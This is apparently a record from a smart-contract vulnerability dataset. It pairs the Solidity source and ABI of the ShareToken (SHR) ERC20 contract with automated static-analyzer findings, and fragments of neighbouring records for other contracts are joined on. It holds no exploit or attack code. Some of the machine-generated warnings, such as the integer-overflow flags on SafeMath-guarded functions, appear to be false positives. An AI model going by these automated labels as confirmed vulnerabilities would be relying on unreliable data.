"severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 457, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 457, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 457, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 458, "severity": 1}]
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"string","name":"message","type":"string"}],"name":"PizzaSwap_Airdropper","type":"event"},{"inputs":[{"internalType":"address","name":"_recipients","type":"address"}],"name":"airDefiTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"len","type":"uint256"},{"internalType":"uint256","name":"pid","type":"uint256"},{"internalType":"uint256","name":"_multiple","type":"uint256"}],"name":"airTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"airdropAmout","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"pid","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"countPz","outputs":[{"internalType":"uint256","name":"r","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isAirdrop","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"masterChef","outputs":[{"internalType":"contract MasterChef","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_airdropAmout","type":"uint256"}],"name":"setAirdropAmout","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_masterChef","type":"address"}],"name":"setMasterChef","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_erc20Address","type":"address"}],"name":"setToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"j","type":"uint256"},{"internalType":"uint256","name":"pid","type":"uint256"}],"name":"test","outputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"number","type":"uint256"}],"name":"testsqrt","outputs":[{"internalType":"uint256","name":"result","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"}],"name":"withdrawalToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.6.8+commit.0bbfe453
true
200
Default
None
false
ipfs://95dc6b306ad36e3004b539d23f992efe61f0875b2417cb1ffb3b5eca9e0e030e
ShareToken
0xee5fe244406f35d9b4ddb488a64d51456630befc
Solidity
pragma solidity ^0.4.21; contract ERC20Interface { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint256); } contract ERC20Token is ERC20Interface { using SafeMath for uint256; // Total amount of tokens issued uint256 internal totalTokenIssued; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) internal allowed; function totalSupply() public view returns (uint256) { return totalTokenIssued; } /* Get the account balance for an address */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /* Check whether an address is a contract address */ function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return (size > 0); } /* Transfer the balance from owner's account to another account */ function transfer(address _to, uint256 _amount) public returns (bool) { require(_to != address(0x0)); // Do not allow to transfer token to contract address to avoid tokens getting stuck require(isContract(_to) == false); // amount sent cannot exceed balance require(balances[msg.sender] >= _amount); // update balances balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); // log event emit Transfer(msg.sender, _to, _amount); return true; } /* Allow _spender to withdraw from your account up to _amount */ function approve(address _spender, uint256 _amount) public returns (bool) { require(_spender != address(0x0)); // update allowed amount allowed[msg.sender][_spender] = _amount; // log event emit Approval(msg.sender, _spender, _amount); return true; } /* Spender of tokens transfers tokens from the owner's balance */ /* Must be pre-approved by owner */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) { require(_to != address(0x0)); // Do not allow to transfer token to contract address to avoid tokens getting stuck require(isContract(_to) == false); // balance checks require(balances[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); // update balances and allowed amount balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); // log event emit Transfer(_from, _to, _amount); return true; } /* Returns the amount of tokens approved by the owner */ /* that can be transferred by spender */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 return (a / b); } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return (a - b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract WhiteListManager is Ownable { // The list here will be updated by multiple separate WhiteList contracts mapping (address => bool) public list; function unset(address addr) public onlyOwner { list[addr] = false; } function unsetMany(address[] addrList) public onlyOwner { for (uint256 i = 0; i < addrList.length; i++) { unset(addrList[i]); } } function set(address addr) public onlyOwner { list[addr] = true; } function setMany(address[] addrList) public onlyOwner { for (uint256 i = 0; i < addrList.length; i++) { set(addrList[i]); } } function isWhitelisted(address addr) public view returns (bool) { return list[addr]; } } contract ShareToken is ERC20Token, WhiteListManager { using SafeMath for uint256; string public constant name = "ShareToken"; string public constant symbol = "SHR"; uint8 public constant decimals = 2; address public icoContract; // Any token amount must be multiplied by this const to reflect decimals uint256 constant E2 = 10**2; mapping(address => bool) public rewardTokenLocked; bool public mainSaleTokenLocked = true; uint256 public constant TOKEN_SUPPLY_MAINSALE_LIMIT = 1000000000 * E2; // 1,000,000,000 tokens (1 billion) uint256 public constant TOKEN_SUPPLY_AIRDROP_LIMIT = 6666666667; // 66,666,666.67 tokens (0.066 billion) uint256 public constant TOKEN_SUPPLY_BOUNTY_LIMIT = 33333333333; // 333,333,333.33 tokens (0.333 billion) uint256 public airDropTokenIssuedTotal; uint256 public bountyTokenIssuedTotal; uint256 public constant TOKEN_SUPPLY_SEED_LIMIT = 500000000 * E2; // 500,000,000 tokens (0.5 billion) uint256 public constant TOKEN_SUPPLY_PRESALE_LIMIT = 2500000000 * E2; // 2,500,000,000.00 tokens (2.5 billion) uint256 public constant TOKEN_SUPPLY_SEED_PRESALE_LIMIT = TOKEN_SUPPLY_SEED_LIMIT + TOKEN_SUPPLY_PRESALE_LIMIT; uint256 public seedAndPresaleTokenIssuedTotal; uint8 private constant PRESALE_EVENT = 0; uint8 private constant MAINSALE_EVENT = 1; uint8 private constant BOUNTY_EVENT = 2; uint8 private constant AIRDROP_EVENT = 3; function ShareToken() public { totalTokenIssued = 0; airDropTokenIssuedTotal = 0; bountyTokenIssuedTotal = 0; seedAndPresaleTokenIssuedTotal = 0; mainSaleTokenLocked = true; } function unlockMainSaleToken() public onlyOwner { mainSaleTokenLocked = false; } function lockMainSaleToken() public onlyOwner { mainSaleTokenLocked = true; } function unlockRewardToken(address addr) public onlyOwner { rewardTokenLocked[addr] = false; } function unlockRewardTokenMany(address[] addrList) public onlyOwner { for (uint256 i = 0; i < addrList.length; i++) { unlockRewardToken(addrList[i]); } } function lockRewardToken(address addr) public onlyOwner { rewardTokenLocked[addr] = true; } function lockRewardTokenMany(address[] addrList) public onlyOwner { for (uint256 i = 0; i < addrList.length; i++) { lockRewardToken(addrList[i]); } } // Check if a given address is locked. The address can be in the whitelist or in the reward function isLocked(address addr) public view returns (bool) { // Main sale is running, any addr is locked if (mainSaleTokenLocked) { return true; } else { // Main sale is ended and thus any whitelist addr is unlocked if (isWhitelisted(addr)) { return false; } else { // If the addr is in the reward, it must be checked if locked // If the addr is not in the reward, it is considered unlocked return rewardTokenLocked[addr]; } } } function totalSupply() public view returns (uint256) { return totalTokenIssued.add(seedAndPresaleTokenIssuedTotal).add(airDropTokenIssuedTotal).add(bountyTokenIssuedTotal); } function totalMainSaleTokenIssued() public view returns (uint256) { return totalTokenIssued; } function totalMainSaleTokenLimit() public view returns (uint256) { return TOKEN_SUPPLY_MAINSALE_LIMIT; } function totalPreSaleTokenIssued() public view returns (uint256) { return seedAndPresaleTokenIssuedTotal; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(isLocked(msg.sender) == false); require(isLocked(_to) == false); return super.transfer(_to, _amount); } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(isLocked(_from) == false); require(isLocked(_to) == false); return super.transferFrom(_from, _to, _amount); } function setIcoContract(address _icoContract) public onlyOwner { // Allow to set the ICO contract only once require(icoContract == address(0)); require(_icoContract != address(0)); icoContract = _icoContract; } function sell(address buyer, uint256 tokens) public returns (bool success) { require (icoContract != address(0)); // The sell() method can only be called by the fixedly-set ICO contract require (msg.sender == icoContract); require (tokens > 0); require (buyer != address(0)); // Only whitelisted address can buy tokens. Otherwise, refund require (isWhitelisted(buyer)); require (totalTokenIssued.add(tokens) <= TOKEN_SUPPLY_MAINSALE_LIMIT); // Register tokens issued to the buyer balances[buyer] = balances[buyer].add(tokens); // Update total amount of tokens issued totalTokenIssued = totalTokenIssued.add(tokens); emit Transfer(address(MAINSALE_EVENT), buyer, tokens); return true; } function rewardAirdrop(address _to, uint256 _amount) public onlyOwner { // this check also ascertains _amount is positive require(_amount <= TOKEN_SUPPLY_AIRDROP_LIMIT); require(airDropTokenIssuedTotal < TOKEN_SUPPLY_AIRDROP_LIMIT); uint256 remainingTokens = TOKEN_SUPPLY_AIRDROP_LIMIT.sub(airDropTokenIssuedTotal); if (_amount > remainingTokens) { _amount = remainingTokens; } // Register tokens to the receiver balances[_to] = balances[_to].add(_amount); // Update total amount of tokens issued airDropTokenIssuedTotal = airDropTokenIssuedTotal.add(_amount); // Lock the receiver rewardTokenLocked[_to] = true; emit Transfer(address(AIRDROP_EVENT), _to, _amount); } function rewardBounty(address _to, uint256 _amount) public onlyOwner { // this check also ascertains _amount is positive require(_amount <= TOKEN_SUPPLY_BOUNTY_LIMIT); require(bountyTokenIssuedTotal < TOKEN_SUPPLY_BOUNTY_LIMIT); uint256 remainingTokens = TOKEN_SUPPLY_BOUNTY_LIMIT.sub(bountyTokenIssuedTotal); if (_amount > remainingTokens) { _amount = remainingTokens; } // Register tokens to the receiver balances[_to] = balances[_to].add(_amount); // Update total amount of tokens issued bountyTokenIssuedTotal = bountyTokenIssuedTotal.add(_amount); // Lock the receiver rewardTokenLocked[_to] = true; emit Transfer(address(BOUNTY_EVENT), _to, _amount); } function rewardBountyMany(address[] addrList, uint256[] amountList) public onlyOwner { require(addrList.length == amountList.length); for (uint256 i = 0; i < addrList.length; i++) { rewardBounty(addrList[i], amountList[i]); } } function rewardAirdropMany(address[] addrList, uint256[] amountList) public onlyOwner { require(addrList.length == amountList.length); for (uint256 i = 0; i < addrList.length; i++) { rewardAirdrop(addrList[i], amountList[i]); } } function handlePresaleToken(address _to, uint256 _amount) public onlyOwner { require(_amount <= TOKEN_SUPPLY_SEED_PRESALE_LIMIT); require(seedAndPresaleTokenIssuedTotal < TOKEN_SUPPLY_SEED_PRESALE_LIMIT); uint256 remainingTokens = TOKEN_SUPPLY_SEED_PRESALE_LIMIT.sub(seedAndPresaleTokenIssuedTotal); require (_amount <= remainingTokens); // Register tokens to the receiver balances[_to] = balances[_to].add(_amount); // Update total amount of tokens issued seedAndPresaleTokenIssuedTotal = seedAndPresaleTokenIssuedTotal.add(_amount); emit Transfer(address(PRESALE_EVENT), _to, _amount); // Also add to whitelist set(_to); } function handlePresaleTokenMany(address[] addrList, uint256[] amountList) public onlyOwner { require(addrList.length == amountList.length); for (uint256 i = 0; i < addrList.length; i++) { handlePresaleToken(addrList[i], amountList[i]); } } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["268", "437", "281", "468", "427", "183", "196"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["212", "240", "213", "239", "238", "214", "237"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["140", "130"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [38, 39]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [328]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [337]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [85]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [336]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [329]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [49]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"ShareToken.sol": [36, 37, 38, 39, 40]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"ShareToken.sol": [456]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"ShareToken.sol": [415]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"ShareToken.sol": [391]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ShareToken.sol": [151, 152, 153, 154, 155]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ShareToken.sol": [156, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [433, 434, 435, 436, 437, 438, 439, 440, 441]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [423, 424, 425, 426, 427, 428, 429, 430, 431]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [266, 267, 268, 269, 270, 271, 272]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [342, 343, 344, 345, 346, 347, 348, 349]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [144, 145, 146, 143]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [279, 280, 281, 282, 283, 284, 285]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [104, 105, 103]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [316, 317, 318, 319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [181, 182, 183, 184, 185, 186, 187]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [251, 252, 253, 254]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [32, 33, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [306, 307, 308, 309]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [134, 135, 136, 137, 138]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [321, 322, 323, 324]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [464, 465, 466, 467, 468, 469, 470, 471, 472]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [256, 257, 258, 259]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [194, 195, 196, 197, 198, 199, 200]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ShareToken.sol": [312, 313, 314, 311]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [66]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [342]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [103]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [334]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [326]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [375]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [66]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [103]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [443]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [443]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [375]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [326]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [399]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [44]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [399]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [44]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [31]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [334]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ShareToken.sol": [334]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ShareToken.sol": [224]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ShareToken.sol": [232]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ShareToken.sol": [231]}}]
[{"error": "Integer Overflow.", "line": 165, "level": "Warning"}, {"error": "Integer Overflow.", "line": 194, "level": "Warning"}, {"error": "Integer Overflow.", "line": 266, "level": "Warning"}, {"error": "Integer Overflow.", "line": 433, "level": "Warning"}, {"error": "Integer Overflow.", "line": 423, "level": "Warning"}, {"error": "Integer Overflow.", "line": 464, "level": "Warning"}, {"error": "Integer Overflow.", "line": 279, "level": "Warning"}, {"error": "Integer Overflow.", "line": 181, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 145, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 46, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 68, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 82, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 66, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 183, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 196, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 268, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 281, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 427, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 437, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 468, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 183, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 196, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 268, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 281, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 427, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 437, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 468, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 189, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 194, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 342, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 237, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 238, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 239, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 240, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 18, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 210, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 36, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 181, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 194, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 266, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 279, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 423, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 423, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 433, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 433, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 464, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 464, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 219, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalMainSaleTokenLimit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"rewardTokenLocked","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"bountyTokenIssuedTotal","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addrList","type":"address[]"},{"name":"amountList","type":"uint256[]"}],"name":"rewardAirdropMany","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addrList","type":"address[]"}],"name":"unsetMany","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"set","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"unset","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"TOKEN_SUPPLY_SEED_LIMIT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"isWhitelisted","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"rewardAirdrop","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"isLocked","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TOKEN_SUPPLY_BOUNTY_LIMIT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"lockRewardToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"airDropTokenIssuedTotal","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"seedAndPresaleTokenIssuedTotal","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TOKEN_SUPPLY_AIRDROP_LIMIT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unlockMainSaleToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"buyer","type":"address"},{"name":"tokens","type":"uint256"}],"name":"sell","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addrList","type":"address[]"},{"name":"amountList","type":"uint256[]"}],"name":"rewardBountyMany","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TOKEN_SUPPLY_PRESALE_LIMIT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"rewardBounty","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"lockMainSaleToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","t